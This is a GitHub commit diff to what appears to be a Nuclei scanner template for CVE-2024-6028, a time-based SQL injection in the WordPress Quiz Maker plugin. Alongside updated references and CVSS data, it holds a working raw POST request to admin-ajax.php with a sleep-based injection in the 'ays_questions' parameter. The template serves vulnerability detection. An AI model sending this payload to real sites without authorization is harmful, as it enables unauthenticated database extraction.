updated req, info & payload

patch-4
Ritik Chaddha 2024-06-27 13:46:01 +05:30 committed by GitHub
parent 5df2dc73e5
commit 452fc31905
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
1 changed files with 11 additions and 7 deletions

View File

@ -8,29 +8,33 @@ info:
The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. The Quiz Maker plugin for WordPress is vulnerable to time-based SQL Injection via the 'ays_questions' parameter in all versions up to, and including, 6.5.8.3 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
remediation: Fixed in 6.5.8.4 remediation: Fixed in 6.5.8.4
reference: reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-6028
- https://github.com/truonghuuphuc/CVE-2024-6028-Poc - https://github.com/truonghuuphuc/CVE-2024-6028-Poc
- https://nvd.nist.gov/vuln/detail/CVE-2024-6028
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-6028
cwe-id: CWE-89
metadata: metadata:
verified: true verified: true
max-request: 1 max-request: 1
publicwww-query: "/wp-content/plugins/quiz-maker/" publicwww-query: "/wp-content/plugins/quiz-maker/"
tags: cve,cve2024,wp-plugin,quiz-maker tags: cve,cve2024,wordpress,wp,wp-plugin,quiz-maker,sqli
http: http:
- raw: - raw:
- | - |
@timeout: 45s @timeout: 25s
POST /wp-admin/admin-ajax.php HTTP/1.1 POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}} Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded Content-Type: application/x-www-form-urlencoded
Content-Length: 114
ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,4,0)]=&action=ays_finish_quiz ays_quiz_id=1&ays_quiz_questions=1,2,3&quiz_id=1&ays_questions[ays-question-4)+or+sleep(if(1>0,6,0)]=&action=ays_finish_quiz
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration>=4' - 'duration>=6'
- 'status_code == 200' - 'status_code == 200'
- 'contains_all(body,"status","scoreMessage","displayScore")' - 'contains_all(body,"status\":","scoreMessage","displayScore")'
condition: and condition: and